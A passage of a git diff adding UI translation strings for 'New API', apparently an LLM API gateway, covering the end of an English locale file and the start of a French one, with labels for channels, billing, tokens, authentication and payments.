+    "Take photo": "Take photo",
+    "Take screenshot": "Take screenshot",
+    "Target group": "Target group",
+    "Task": "Task",
+    "Task ID": "Task ID",
+    "Task ID:": "Task ID:",
+    "Task logs": "Task logs",
+    "Task Logs": "Task Logs",
+    "Team Collaboration": "Team Collaboration",
+    "Technical Support": "Technical Support",
+    "Telegram": "Telegram",
+    "Telegram login requires widget integration; coming soon": "Telegram login requires widget integration; coming soon",
+    "Telegram Login Widget": "Telegram Login Widget",
+    "Template variables:": "Template variables:",
+    "Templates": "Templates",
+    "Templates appended": "Templates appended",
+    "Tencent": "Tencent",
+    "Termination requested": "Termination requested",
+    "Test All Channels": "Test All Channels",
+    "Test Channel Connection": "Test Channel Connection",
+    "Test Connection": "Test Connection",
+    "Test connectivity for:": "Test connectivity for:",
+    "Test interval (minutes)": "Test interval (minutes)",
+    "Test Latency": "Test Latency",
+    "Test Mode": "Test Mode",
+    "Test Model": "Test Model",
+    "Testing all enabled channels started. Please refresh to see results.": "Testing all enabled channels started. Please refresh to see results.",
+    "Testing...": "Testing...",
+    "Text Input": "Text Input",
+    "Text Output": "Text Output",
+    "Text to Video": "Text to Video",
+    "The administrator account is already initialized. You can keep your existing credentials and continue to the next step.": "The administrator account is already initialized. You can keep your existing credentials and continue to the next step.",
+    "The administrator configured an external link for this document.": "The administrator configured an external link for this document.",
+    "The administrator has not configured a privacy policy yet.": "The administrator has not configured a privacy policy yet.",
+    "The administrator has not configured a user agreement yet.": "The administrator has not configured a user agreement yet.",
+    "The administrator has not configured any about content yet. You can set it in the settings page, supporting HTML or URL.": "The administrator has not configured any about content yet. You can set it in the settings page, supporting HTML or URL.",
+    "The binding will complete automatically after authorization": "The binding will complete automatically after authorization",
+    "The effective domain for Passkey registration. Must match the current domain or be its parent domain.": "The effective domain for Passkey registration. Must match the current domain or be its parent domain.",
+    "The exact model identifier as used in API requests.": "The exact model identifier as used in API requests.",
+    "The following models have billing type conflicts (fixed price vs ratio billing). Confirm to proceed with the changes.": "The following models have billing type conflicts (fixed price vs ratio billing). Confirm to proceed with the changes.",
+    "The following models in the model redirect have not been added to the \"Models\" list and may fail during invocation due to missing available models:": "The following models in the model redirect have not been added to the \"Models\" list and may fail during invocation due to missing available models:",
+    "The mapped upstream model(s)": "The mapped upstream model(s)",
+    "The model you're looking for doesn't exist.": "The model you're looking for doesn't exist.",
+    "The name displayed across the application": "The name displayed across the application",
+    "The public URL of your server, used for OAuth callbacks, webhooks, and other external integrations": "The public URL of your server, used for OAuth callbacks, webhooks, and other external integrations",
+    "The requested chat preset does not exist or has been removed.": "The requested chat preset does not exist or has been removed.",
+    "The setup wizard will use this database during initialization.": "The setup wizard will use this database during initialization.",
+    "The site is not available at the moment.": "The site is not available at the moment.",
+    "The slug is appended to the URL:": "The slug is appended to the URL:",
+    "The sync will fetch missing models and vendors from the selected source. Existing records are updated only when you approve conflicts.": "The sync will fetch missing models and vendors from the selected source. Existing records are updated only when you approve conflicts.",
+    "The token group that will have a custom ratio": "The token group that will have a custom ratio",
+    "The unique identifier for this model": "The unique identifier for this model",
+    "The unique name for this vendor": "The unique name for this vendor",
+    "The URL for this chat client.": "The URL for this chat client.",
+    "Theme": "Theme",
+    "Theme Settings": "Theme Settings",
+    "There are both add and remove models pending, but you only selected one type. Confirm submitting only the selected items?": "There are both add and remove models pending, but you only selected one type. Confirm submitting only the selected items?",
+    "These models are still in your selection but were not returned by the upstream listing. Entries that are only model_mapping source aliases are omitted. Toggle to adjust before saving.": "These models are still in your selection but were not returned by the upstream listing. Entries that are only model_mapping source aliases are omitted. Toggle to adjust before saving.",
+    "These toggles affect whether certain request fields are passed through to the upstream provider.": "These toggles affect whether certain request fields are passed through to the upstream provider.",
+    "Thinking Adapter": "Thinking Adapter",
+    "Thinking to Content": "Thinking to Content",
+    "Third-party account bindings (read-only, managed by user in profile settings)": "Third-party account bindings (read-only, managed by user in profile settings)",
+    "Third-party Payment Config": "Third-party Payment Config",
+    "This action cannot be undone.": "This action cannot be undone.",
+    "This action cannot be undone. This will permanently delete your account and remove all your data from our servers.": "This action cannot be undone. This will permanently delete your account and remove all your data from our servers.",
+    "This action will permanently remove 2FA protection from your account.": "This action will permanently remove 2FA protection from your account.",
+    "This channel is not an Ollama channel.": "This channel is not an Ollama channel.",
+    "This channel type does not support fetching models": "This channel type does not support fetching models",
+    "This data may be unreliable, use with caution": "This data may be unreliable, use with caution",
+    "This device does not support Passkey": "This device does not support Passkey",
+    "This device does not support Passkey verification.": "This device does not support Passkey verification.",
+    "This expression is too complex for the visual editor. Please switch to expression mode to edit.": "This expression is too complex for the visual editor. Please switch to expression mode to edit.",
+    "This feature is experimental. Configuration format and behavior may change.": "This feature is experimental. Configuration format and behavior may change.",
+    "This feature requires server-side WeChat configuration": "This feature requires server-side WeChat configuration",
+    "This may cause cache failures.": "This may cause cache failures.",
+    "This may take a few moments while we validate the request and update your session.": "This may take a few moments while we validate the request and update your session.",
+    "This model has both fixed price and ratio billing conflicts": "This model has both fixed price and ratio billing conflicts",
+    "This model is not available in any group, or no group pricing information is configured.": "This model is not available in any group, or no group pricing information is configured.",
+    "This month": "This month",
+    "This page has not been created yet.": "This page has not been created yet.",
+    "This project must be used in compliance with the": "This project must be used in compliance with the",
+    "This record was written by a pre-upgrade instance and lacks audit info. Upgrade the instance to record server IP, callback IP, payment method and system version.": "This record was written by a pre-upgrade instance and lacks audit info. Upgrade the instance to record server IP, callback IP, payment method and system version.",
+    "this token group": "this token group",
+    "this user group": "this user group",
+    "This user has no bindings": "This user has no bindings",
+    "This week": "This week",
+    "This will append 2 template rules (Codex CLI and Claude CLI) to the existing rule list.": "This will append 2 template rules (Codex CLI and Claude CLI) to the existing rule list.",
+    "This will clear custom pricing ratios and revert to upstream defaults.": "This will clear custom pricing ratios and revert to upstream defaults.",
+    "This will delete all": "This will delete all",
+    "This will delete all channel affinity cache entries still in memory.": "This will delete all channel affinity cache entries still in memory.",
+    "This will delete temporary cache files that have not been used for more than 10 minutes": "This will delete temporary cache files that have not been used for more than 10 minutes",
+    "This will extend the deployment by the specified hours.": "This will extend the deployment by the specified hours.",
+    "This will permanently delete API key": "This will permanently delete API key",
+    "This will permanently delete redemption code": "This will permanently delete redemption code",
+    "This will permanently delete user": "This will permanently delete user",
+    "This will permanently remove all log entries created before {{date}}.": "This will permanently remove all log entries created before {{date}}.",
+    "This will permanently remove log entries before the selected timestamp.": "This will permanently remove log entries before the selected timestamp.",
+    "Three steps to get started": "Three steps to get started",
+    "Tier": "Tier",
+    "Tier name": "Tier name",
+    "Tiered": "Tiered",
+    "Tiered (billing expression)": "Tiered (billing expression)",
+    "Tiered price table": "Tiered price table",
+    "Time": "Time",
+    "Time Granularity": "Time Granularity",
+    "Time remaining": "Time remaining",
+    "Time window for rate limiting": "Time window for rate limiting",
+    "Time-based": "Time-based",
+    "Time:": "Time:",
+    "Timed cache (1h)": "Timed cache (1h)",
+    "Timeline": "Timeline",
+    "times": "times",
+    "Timing": "Timing",
+    "Tip: The generated key is a JSON credential including access_token / refresh_token / account_id.": "Tip: The generated key is a JSON credential including access_token / refresh_token / account_id.",
+    "to access this resource.": "to access this resource.",
+    "to confirm": "to confirm",
+    "To Lower": "To Lower",
+    "to override billing when a user in one group uses a token of another group.": "to override billing when a user in one group uses a token of another group.",
+    "to the Models list so users can use them before the mapping sends traffic upstream.": "to the Models list so users can use them before the mapping sends traffic upstream.",
+    "To Upper": "To Upper",
+    "to view this resource.": "to view this resource.",
+    "Today": "Today",
+    "Toggle columns": "Toggle columns",
+    "Toggle navigation menu": "Toggle navigation menu",
+    "Toggle plan": "Toggle plan",
+    "Toggle theme": "Toggle theme",
+    "Token": "Token",
+    "Token Breakdown": "Token Breakdown",
+    "Token Endpoint": "Token Endpoint",
+    "Token Endpoint (Optional)": "Token Endpoint (Optional)",
+    "Token estimator": "Token estimator",
+    "Token management": "Token management",
+    "Token Management": "Token Management",
+    "Token Mgmt": "Token Mgmt",
+    "Token Name": "Token Name",
+    "Token obtained from your Gotify application": "Token obtained from your Gotify application",
+    "Token regenerated and copied to clipboard": "Token regenerated and copied to clipboard",
+    "Token unit": "Token unit",
+    "Token-based": "Token-based",
+    "tokens": "tokens",
+    "Tokens": "Tokens",
+    "Tokens Only": "Tokens Only",
+    "Tokens per minute": "Tokens per minute",
+    "Tokens-only mode will show raw quota values regardless of this toggle.": "Tokens-only mode will show raw quota values regardless of this toggle.",
+    "Too many files. Some were not added.": "Too many files. Some were not added.",
+    "Tool identifier": "Tool identifier",
+    "Tool price settings": "Tool price settings",
+    "Tool prices": "Tool prices",
+    "Top {{count}}": "Top {{count}}",
+    "Top Models": "Top Models",
+    "Top Users": "Top Users",
+    "Top up balance and view billing history.": "Top up balance and view billing history.",
+    "Top-up": "Top-up",
+    "Top-up amount options": "Top-up amount options",
+    "Top-up Audit Info": "Top-up Audit Info",
+    "Top-up group ratios": "Top-up group ratios",
+    "Top-Up Link": "Top-Up Link",
+    "top-up ratio": "top-up ratio",
+    "Topup Amount": "Topup Amount",
+    "Total": "Total",
+    "Total Allocated": "Total Allocated",
+    "Total check-ins": "Total check-ins",
+    "Total consumed": "Total consumed",
+    "Total consumed quota": "Total consumed quota",
+    "Total cost": "Total cost",
+    "Total Cost": "Total Cost",
+    "Total Count": "Total Count",
+    "Total earned": "Total earned",
+    "Total Earned": "Total Earned",
+    "Total GPUs": "Total GPUs",
+    "Total invitation revenue": "Total invitation revenue",
+    "Total Log Size": "Total Log Size",
+    "Total Quota": "Total Quota",
+    "Total requests allowed per period. 0 = unlimited.": "Total requests allowed per period. 0 = unlimited.",
+    "Total requests made": "Total requests made",
+    "Total Tokens": "Total Tokens",
+    "Total Usage": "Total Usage",
+    "Total:": "Total:",
+    "TPM": "TPM",
+    "Track per-request consumption to power usage analytics. Keeping this on increases database writes.": "Track per-request consumption to power usage analytics. Keeping this on increases database writes.",
+    "Track usage, costs and performance with real-time analytics": "Track usage, costs and performance with real-time analytics",
+    "Tracks current account base limits and additional metered usage on Codex upstream.": "Tracks current account base limits and additional metered usage on Codex upstream.",
+    "Transfer": "Transfer",
+    "Transfer Amount": "Transfer Amount",
+    "Transfer failed": "Transfer failed",
+    "Transfer Rewards": "Transfer Rewards",
+    "Transfer successful": "Transfer successful",
+    "Transfer to Balance": "Transfer to Balance",
+    "Translate `-thinking` suffixes into Anthropic native thinking models while keeping pricing predictable.": "Translate `-thinking` suffixes into Anthropic native thinking models while keeping pricing predictable.",
+    "Transparent Billing": "Transparent Billing",
+    "Trim Prefix": "Trim Prefix",
+    "Trim Space": "Trim Space",
+    "Trim Suffix": "Trim Suffix",
+    "Trusted": "Trusted",
+    "Try adjusting your search to locate a missing model.": "Try adjusting your search to locate a missing model.",
+    "TTL": "TTL",
+    "TTL (seconds, 0 = default)": "TTL (seconds, 0 = default)",
+    "TTL (seconds)": "TTL (seconds)",
+    "Turnstile is enabled but site key is empty.": "Turnstile is enabled but site key is empty.",
+    "Two-factor Authentication": "Two-factor Authentication",
+    "Two-Factor Authentication": "Two-Factor Authentication",
+    "Two-factor authentication disabled": "Two-factor authentication disabled",
+    "Two-factor authentication enabled successfully!": "Two-factor authentication enabled successfully!",
+    "Two-factor authentication reset": "Two-factor authentication reset",
+    "Two-Step Verification": "Two-Step Verification",
+    "Type": "Type",
+    "Type *": "Type *",
+    "Type a command or search...": "Type a command or search...",
+    "Type-Specific Settings": "Type-Specific Settings",
+    "Type:": "Type:",
+    "UI granularity only &mdash; data is still aggregated hourly": "UI granularity only &mdash; data is still aggregated hourly",
+    "Unable to estimate price for this deployment.": "Unable to estimate price for this deployment.",
+    "Unable to generate chat link. Please contact your administrator.": "Unable to generate chat link. Please contact your administrator.",
+    "Unable to load groups": "Unable to load groups",
+    "Unable to open chat": "Unable to open chat",
+    "Unable to prepare chat link. Please ensure you have an enabled API key.": "Unable to prepare chat link. Please ensure you have an enabled API key.",
+    "Unauthorized Access": "Unauthorized Access",
+    "Unbind": "Unbind",
+    "Unbind failed": "Unbind failed",
+    "Unbound {{provider}}": "Unbound {{provider}}",
+    "Unexpected release payload": "Unexpected release payload",
+    "Unified API Gateway for": "Unified API Gateway for",
+    "Unique identifier for this group.": "Unique identifier for this group.",
+    "Unit price (local currency / USD)": "Unit price (local currency / USD)",
+    "Unit price (USD)": "Unit price (USD)",
+    "Unit price must be greater than 0": "Unit price must be greater than 0",
+    "Units per USD": "Units per USD",
+    "Unknown": "Unknown",
+    "Unknown version": "Unknown version",
+    "Unlimited": "Unlimited",
+    "Unlimited Quota": "Unlimited Quota",
+    "Unsaved changes": "Unsaved changes",
+    "Until": "Until",
+    "Untitled": "Untitled",
+    "Untrusted upstream data:": "Untrusted upstream data:",
+    "Unused": "Unused",
+    "Update": "Update",
+    "Update All Balances": "Update All Balances",
+    "Update API Key": "Update API Key",
+    "Update Balance": "Update Balance",
+    "Update balance for:": "Update balance for:",
+    "Update Channel": "Update Channel",
+    "Update channel configuration and click save when you're done.": "Update channel configuration and click save when you're done.",
+    "Update configuration": "Update configuration",
+    "Update failed": "Update failed",
+    "Update Model": "Update Model",
+    "Update model configuration and click save when you're done.": "Update model configuration and click save when you're done.",
+    "Update plan info": "Update Plan Info",
+    "Update Provider": "Update Provider",
+    "Update Redemption Code": "Update Redemption Code",
+    "Update succeeded": "Update succeeded",
+    "Update the API key by providing necessary info.": "Update the API key by providing necessary info.",
+    "Update the configuration for this custom OAuth provider.": "Update the configuration for this custom OAuth provider.",
+    "Update the redemption code by providing necessary info.": "Update the redemption code by providing necessary info.",
+    "Update the reusable bundle below.": "Update the reusable bundle below.",
+    "Update the user by providing necessary info.": "Update the user by providing necessary info.",
+    "Update vendor information for {{name}}": "Update vendor information for {{name}}",
+    "Update your password for account:": "Update your password for account:",
+    "Update your password to keep your account secure": "Update your password to keep your account secure",
+    "Updated": "Updated",
+    "Updated successfully": "Updated successfully",
+    "Updating all channel balances. This may take a while. Please refresh to see results.": "Updating all channel balances. This may take a while. Please refresh to see results.",
+    "Upgrade Group": "Upgrade Group",
+    "Upload": "Upload",
+    "Upload a single service account JSON file": "Upload a single service account JSON file",
+    "Upload file": "Upload file",
+    "Upload files": "Upload files",
+    "Upload multiple JSON files in batch modes": "Upload multiple JSON files in batch modes",
+    "Upload or reference a local configuration file.": "Upload or reference a local configuration file.",
+    "Upload photo": "Upload photo",
+    "Upscale": "Upscale",
+    "Upstream": "Upstream",
+    "Upstream Model Update Check": "Upstream Model Update Check",
+    "Upstream Model Updates": "Upstream Model Updates",
+    "Upstream model updates applied: {{added}} added, {{removed}} removed, {{ignored}} ignored this time, {{totalIgnored}} total ignored models": "Upstream model updates applied: {{added}} added, {{removed}} removed, {{ignored}} ignored this time, {{totalIgnored}} total ignored models",
+    "Upstream price sync": "Upstream price sync",
+    "Upstream prices fetched successfully": "Upstream prices fetched successfully",
+    "Upstream ratios fetched successfully": "Upstream ratios fetched successfully",
+    "Upstream Response": "Upstream Response",
+    "Upstream Updates": "Upstream Updates",
+    "uptime": "uptime",
+    "Uptime": "Uptime",
+    "Uptime Kuma": "Uptime Kuma",
+    "Uptime Kuma groups saved successfully": "Uptime Kuma groups saved successfully",
+    "Uptime Kuma URL": "Uptime Kuma URL",
+    "Uptime since": "Uptime since",
+    "URL": "URL",
+    "URL is required": "URL is required",
+    "URL to your logo image (optional)": "URL to your logo image (optional)",
+    "Usage": "Usage",
+    "Usage logs": "Usage logs",
+    "Usage Logs": "Usage Logs",
+    "Usage mode": "Usage mode",
+    "Usage-based": "Usage-based",
+    "USD": "USD",
+    "USD Exchange Rate": "USD Exchange Rate",
+    "Use a compatible browser or device with biometric authentication or a security key to register a Passkey.": "Use a compatible browser or device with biometric authentication or a security key to register a Passkey.",
+    "Use authenticator code": "Use authenticator code",
+    "Use backup code": "Use backup code",
+    "Use disk cache when request body exceeds this size": "Use disk cache when request body exceeds this size",
+    "Use our unified OpenAI-compatible endpoint in your applications": "Use our unified OpenAI-compatible endpoint in your applications",
+    "Use Passkey to sign in without entering your password.": "Use Passkey to sign in without entering your password.",
+    "Use secure connection when sending emails": "Use secure connection when sending emails",
+    "Use sidebar shortcut": "Use sidebar shortcut",
+    "Use this token for API authentication": "Use this token for API authentication",
+    "Use your Passkey": "Use your Passkey",
+    "used": "used",
+    "Used": "Used",
+    "Used / Remaining": "Used / Remaining",
+    "Used for load balancing. Higher weight = more requests": "Used for load balancing. Higher weight = more requests",
+    "Used in URLs and API routes": "Used in URLs and API routes",
+    "Used Quota": "Used Quota",
+    "Used to authenticate with io.net deployment API": "Used to authenticate with io.net deployment API",
+    "Used to authenticate with the worker. Leave blank to keep the existing secret.": "Used to authenticate with the worker. Leave blank to keep the existing secret.",
+    "Used:": "Used:",
+    "User": "User",
+    "User {{id}}": "User {{id}}",
+    "User Agreement": "User Agreement",
+    "User Analytics": "User Analytics",
+    "User Consumption Ranking": "User Consumption Ranking",
+    "User Consumption Trend": "User Consumption Trend",
+    "User created successfully": "User created successfully",
+    "User dashboard and quota controls.": "User dashboard and quota controls.",
+    "User Exclusive Ratio": "User Exclusive Ratio",
+    "User Group": "User Group",
+    "User group name": "User group name",
+    "User Group: {{ratio}}x": "User Group: {{ratio}}x",
+    "User groups that can access channels with this tag": "User groups that can access channels with this tag",
+    "User groups that can access this channel. ": "User groups that can access this channel. ",
+    "User ID": "User ID",
+    "User ID Field": "User ID Field",
+    "User ID:": "User ID:",
+    "User Info Endpoint": "User Info Endpoint",
+    "User Info Endpoint (Optional)": "User Info Endpoint (Optional)",
+    "User Information": "User Information",
+    "User Menu": "User Menu",
+    "User personal functions": "User personal functions",
+    "User Subscription Management": "User Subscription Management",
+    "User updated successfully": "User updated successfully",
+    "User Verification": "User Verification",
+    "User-Agent include (one per line)": "User-Agent include (one per line)",
+    "Username": "Username",
+    "Username confirmation does not match": "Username confirmation does not match",
+    "Username Field": "Username Field",
+    "Username or Email": "Username or Email",
+    "Users": "Users",
+    "Users call the model on the left. The platform forwards the request to the upstream model on the right.": "Users call the model on the left. The platform forwards the request to the upstream model on the right.",
+    "Users must wait for a successful drawing before upscales or variations.": "Users must wait for a successful drawing before upscales or variations.",
+    "uses": "uses",
+    "Validity": "Validity",
+    "Validity Period": "Validity Period",
+    "Value": "Value",
+    "Value must be at least 0": "Value must be at least 0",
+    "Value Regex": "Value Regex",
+    "variable": "variable",
+    "variable) *": "variable) *",
+    "Variables": "Variables",
+    "Vary": "Vary",
+    "Vary (Strong)": "Vary (Strong)",
+    "Vary (Subtle)": "Vary (Subtle)",
+    "Vendor": "Vendor",
+    "Vendor deleted successfully": "Vendor deleted successfully",
+    "Vendor Name *": "Vendor Name *",
+    "Vendor:": "Vendor:",
+    "Verification code": "Verification code",
+    "Verification Code": "Verification Code",
+    "Verification code must be 6 digits": "Verification code must be 6 digits",
+    "Verification code sent! Please check your email.": "Verification code sent! Please check your email.",
+    "Verification code updates every 30 seconds.": "Verification code updates every 30 seconds.",
+    "Verification email sent": "Verification email sent",
+    "Verification failed": "Verification failed",
+    "Verification is not configured properly": "Verification is not configured properly",
+    "Verification required to reveal the saved key.": "Verification required to reveal the saved key.",
+    "Verify": "Verify",
+    "Verify and Sign In": "Verify and Sign In",
+    "Verify Setup": "Verify Setup",
+    "Verify your database connection": "Verify your database connection",
+    "Version Overrides": "Version Overrides",
+    "Vertex AI": "Vertex AI",
+    "Vertex AI does not support functionResponse.id. Enable this to remove the field automatically.": "Vertex AI does not support functionResponse.id. Enable this to remove the field automatically.",
+    "Vertex AI Key Format": "Vertex AI Key Format",
+    "Video": "Video",
+    "Video Remix": "Video Remix",
+    "Vidu": "Vidu",
+    "View": "View",
+    "View all currently available models": "View all currently available models",
+    "View and manage your API usage logs": "View and manage your API usage logs",
+    "View and manage your drawing logs": "View and manage your drawing logs",
+    "View and manage your task logs": "View and manage your task logs",
+    "View dashboard overview and statistics": "View dashboard overview and statistics",
+    "View detailed information about this user including balance, usage statistics, and invitation details.": "View detailed information about this user including balance, usage statistics, and invitation details.",
+    "View details": "View details",
+    "View document": "View document",
+    "View logs": "View logs",
+    "View mode": "View mode",
+    "View model call count analytics and charts": "View model call count analytics and charts",
+    "View model statistics and charts": "View model statistics and charts",
+    "View Pricing": "View Pricing",
+    "View the complete details for this": "View the complete details for this",
+    "View the complete details for this log entry": "View the complete details for this log entry",
+    "View the complete error message and details": "View the complete error message and details",
+    "View the complete prompt and its English translation": "View the complete prompt and its English translation",
+    "View the generated image": "View the generated image",
+    "View user consumption statistics and charts": "View user consumption statistics and charts",
+    "View your topup transaction records and payment history": "View your topup transaction records and payment history",
+    "Violation Code": "Violation Code",
+    "Violation deduction amount": "Violation deduction amount",
+    "Violation Fee": "Violation Fee",
+    "Violation Marker": "Violation Marker",
+    "vip": "vip",
+    "VIP users with premium access": "VIP users with premium access",
+    "Visit Settings → General and adjust quota options...": "Visit Settings → General and adjust quota options...",
+    "Visitors must authenticate before accessing the pricing directory.": "Visitors must authenticate before accessing the pricing directory.",
+    "Visual": "Visual",
+    "Visual editor": "Visual editor",
+    "Visual Editor": "Visual Editor",
+    "Visual indicator color for the API card": "Visual indicator color for the API card",
+    "Visual Mode": "Visual Mode",
+    "VolcEngine": "VolcEngine",
+    "Waffo Pancake Payment Gateway": "Waffo Pancake payment gateway",
+    "Waffo Payment": "Waffo Payment",
+    "Waffo Payment Gateway": "Waffo Payment Gateway",
+    "Waffo Public Key (Production)": "Waffo Public Key (Production)",
+    "Waffo Public Key (Sandbox)": "Waffo Public Key (Sandbox)",
+    "Waiting": "Waiting",
+    "Waiting for email...": "Waiting for email...",
+    "Wallet": "Wallet",
+    "Wallet First": "Wallet First",
+    "Wallet Management": "Wallet Management",
+    "Wallet management and personal preferences.": "Wallet management and personal preferences.",
+    "Wallet Only": "Wallet Only",
+    "Warning": "Warning",
+    "Warning: Base URL should not end with /v1. New API will handle it automatically. This may cause request failures.": "Warning: Base URL should not end with /v1. New API will handle it automatically. This may cause request failures.",
+    "Warning: Disabling 2FA will make your account less secure.": "Warning: Disabling 2FA will make your account less secure.",
+    "Warning: This action is permanent and irreversible!": "Warning: This action is permanent and irreversible!",
+    "We apologize for the inconvenience.": "We apologize for the inconvenience.",
+    "We could not load the setup status.": "We could not load the setup status.",
+    "We will prompt your device to confirm using biometrics or your hardware key.": "We will prompt your device to confirm using biometrics or your hardware key.",
+    "We'll be back online shortly.": "We'll be back online shortly.",
+    "Web Search": "Web Search",
+    "Webhook Configuration:": "Webhook Configuration:",
+    "Webhook public key (production)": "Webhook public key (production)",
+    "Webhook public key (production) is required": "Webhook public key (production) is required",
+    "Webhook public key (sandbox)": "Webhook public key (sandbox)",
+    "Webhook public key (sandbox) is required": "Webhook public key (sandbox) is required",
+    "Webhook secret": "Webhook secret",
+    "Webhook Secret": "Webhook Secret",
+    "Webhook signing secret (leave blank unless updating)": "Webhook signing secret (leave blank unless updating)",
+    "Webhook URL": "Webhook URL",
+    "Webhook URL:": "Webhook URL:",
+    "Website is under maintenance!": "Website is under maintenance!",
+    "WeChat": "WeChat",
+    "WeChat login QR code": "WeChat login QR code",
+    "WeChat QR code will be displayed here": "WeChat QR code will be displayed here",
+    "WeChat sign in": "WeChat sign in",
+    "Week": "Week",
+    "Weekday": "Weekday",
+    "Weekly": "Weekly",
+    "Weekly Window": "Weekly Window",
+    "Weight": "Weight",
+    "Welcome back!": "Welcome back!",
+    "Welcome to our New API...": "Welcome to our New API...",
+    "Well-Known URL": "Well-Known URL",
+    "Well-Known URL must start with http:// or https://": "Well-Known URL must start with http:// or https://",
+    "What would you like to know?": "What would you like to know?",
+    "When conditions match, the final price is multiplied by X. Multiple matches multiply together; values < 1 act as discounts.": "When conditions match, the final price is multiplied by X. Multiple matches multiply together; values < 1 act as discounts.",
+    "When enabled, if channels in the current group fail, it will try channels in the next group in order.": "When enabled, if channels in the current group fail, it will try channels in the next group in order.",
+    "When enabled, large request bodies are temporarily stored on disk instead of memory, significantly reducing memory usage. SSD recommended.": "When enabled, large request bodies are temporarily stored on disk instead of memory, significantly reducing memory usage. SSD recommended.",
+    "When enabled, Midjourney callbacks are accepted (reveals server IP).": "When enabled, Midjourney callbacks are accepted (reveals server IP).",
+    "When enabled, newly created tokens start in the first auto group.": "When enabled, newly created tokens start in the first auto group.",
+    "When enabled, prompts are scanned before reaching upstream models.": "When enabled, prompts are scanned before reaching upstream models.",
+    "When enabled, the store field will be blocked": "When enabled, the store field will be blocked",
+    "When enabled, violation requests will incur additional charges.": "When enabled, violation requests will incur additional charges.",
+    "When enabled, zero-cost models also pre-consume quota before final settlement.": "When enabled, zero-cost models also pre-consume quota before final settlement.",
+    "When performance monitoring is enabled and system resource usage exceeds the set threshold, new Relay requests will be rejected.": "When performance monitoring is enabled and system resource usage exceeds the set threshold, new Relay requests will be rejected.",
+    "When running in containers or ephemeral environments, ensure the SQLite file is mapped to persistent storage to avoid data loss on restart.": "When running in containers or ephemeral environments, ensure the SQLite file is mapped to persistent storage to avoid data loss on restart.",
+    "Whitelist": "Whitelist",
+    "Whitelist (Only allow listed domains)": "Whitelist (Only allow listed domains)",
+    "Whitelist (Only allow listed IPs)": "Whitelist (Only allow listed IPs)",
+    "whsec_xxx": "whsec_xxx",
+    "Window:": "Window:",
+    "with conflicts": "with conflicts",
+    "Worker Access Key": "Worker Access Key",
+    "Worker Proxy": "Worker Proxy",
+    "Worker URL": "Worker URL",
+    "Workspaces": "Workspaces",
+    "x": "x",
+    "xAI": "xAI",
+    "Xinference": "Xinference",
+    "Xunfei": "Xunfei",
+    "years": "years",
+    "You are about to delete {{count}} API key(s).": "You are about to delete {{count}} API key(s).",
+    "You are running the latest version ({{version}}).": "You are running the latest version ({{version}}).",
+    "You can close this tab once the binding completes or a success message appears in the original window.": "You can close this tab once the binding completes or a success message appears in the original window.",
+    "You can manually add them in \"Custom Model Names\", click \"Fill\" and then submit, or use the operations below to handle automatically.": "You can manually add them in \"Custom Model Names\", click \"Fill\" and then submit, or use the operations below to handle automatically.",
+    "You can only check in once per day": "You can only check in once per day",
+    "You don't have necessary permission": "You don't have necessary permission",
+    "You have unsaved changes": "You have unsaved changes",
+    "You have unsaved changes. Are you sure you want to leave?": "You have unsaved changes. Are you sure you want to leave?",
+    "You Pay": "You Pay",
+    "You save": "You save",
+    "You will be redirected to Telegram to complete the binding process.": "You will be redirected to Telegram to complete the binding process.",
+    "You'll be redirected automatically. You can return to the previous page if nothing happens after a few seconds.": "You'll be redirected automatically. You can return to the previous page if nothing happens after a few seconds.",
+    "your AI integration?": "your AI integration?",
+    "Your Azure OpenAI endpoint URL": "Your Azure OpenAI endpoint URL",
+    "Your Bot Name": "Your Bot Name",
+    "Your Cloudflare Account ID": "Your Cloudflare Account ID",
+    "Your Discord OAuth Client ID": "Your Discord OAuth Client ID",
+    "Your Discord OAuth Client Secret": "Your Discord OAuth Client Secret",
+    "Your GitHub OAuth Client ID": "Your GitHub OAuth Client ID",
+    "Your GitHub OAuth Client Secret": "Your GitHub OAuth Client Secret",
+    "Your new backup codes are ready": "Your new backup codes are ready",
+    "Your Referral Link": "Your Referral Link",
+    "Your system access token for API authentication. Keep it secure and don't share it with others.": "Your system access token for API authentication. Keep it secure and don't share it with others.",
+    "Your Telegram Bot Token": "Your Telegram Bot Token",
+    "Your Turnstile secret key": "Your Turnstile secret key",
+    "Your Turnstile site key": "Your Turnstile site key",
+    "Zhipu": "Zhipu",
+    "Zhipu V4": "Zhipu V4",
+    "Zoom": "Zoom"
+  }
+}
diff --git a/new-api/web/default/src/i18n/locales/fr.json b/new-api/web/default/src/i18n/locales/fr.json
new file mode 100644
index 0000000..c5ed76e
--- /dev/null
+++ b/new-api/web/default/src/i18n/locales/fr.json
@@ -0,0 +1,3683 @@
+{
+  "translation": {
+    "360": "360",
+    "1000": "1000",
+    "10000": "10000",
+    "_copy": "_copie",
+    ", and": ", et",
+    "? This action cannot be undone.": "? Cette action ne peut pas être annulée.",
+    ". Please fix the JSON before saving.": ". Veuillez corriger le JSON avant d'enregistrer.",
+    ". This action cannot be undone.": ". Cette action ne peut pas être annulée.",
+    "...": "...",
+    "\"default\": \"us-central1\", \"claude-3-5-sonnet-20240620\": \"europe-west1\"": "\"default\": \"us-central1\", \"claude-3-5-sonnet-20240620\": \"europe-west1\"",
+    "(Leave empty to dissolve tag)": "(Laisser vide pour dissoudre le tag)",
+    "(Optional: redirect model names)": "(Facultatif : rediriger les noms de modèles)",
+    "(Override all channels' groups)": "(Remplacer les groupes de tous les canaux)",
+    "(Override all channels' models)": "(Remplacer les modèles de tous les canaux)",
+    "[{\"ChatGPT\":\"https://chat.openai.com\"},{\"Lobe Chat\":\"https://chat-preview.lobehub.com/?settings={...}\"}]": "[{\"ChatGPT\":\"https://chat.openai.com\"},{\"Lobe Chat\":\"https://chat-preview.lobehub.com/?settings={...}\"}]",
+    "[{\"name\":\"支付宝\",\"type\":\"alipay\",\"color\":\"#1677FF\"}]": "[{\"name\":\"Alipay\",\"type\":\"alipay\",\"color\":\"#1677FF\"}]",
+    "{\"original-model\": \"replacement-model\"}": "{\"original-model\": \"replacement-model\"}",
+    "{{category}} Models": "Modèles {{category}}",
+    "{{count}} channel(s) deleted": "{{count}} canal(canaux) supprimé(s)",
+    "{{count}} channel(s) disabled": "{{count}} canal(canaux) désactivé(s)",
+    "{{count}} channel(s) enabled": "{{count}} canal(canaux) activé(s)",
+    "{{count}} channel(s) failed to disable": "{{count}} canal(canaux) n'ont pas pu être désactivé(s)",
+    "{{count}} channel(s) failed to enable": "{{count}} canal(canaux) n'ont pas pu être activé(s)",
+    "{{count}} days ago": "il y a {{count}} jours",
+    "{{count}} days remaining": "{{count}} days remaining",
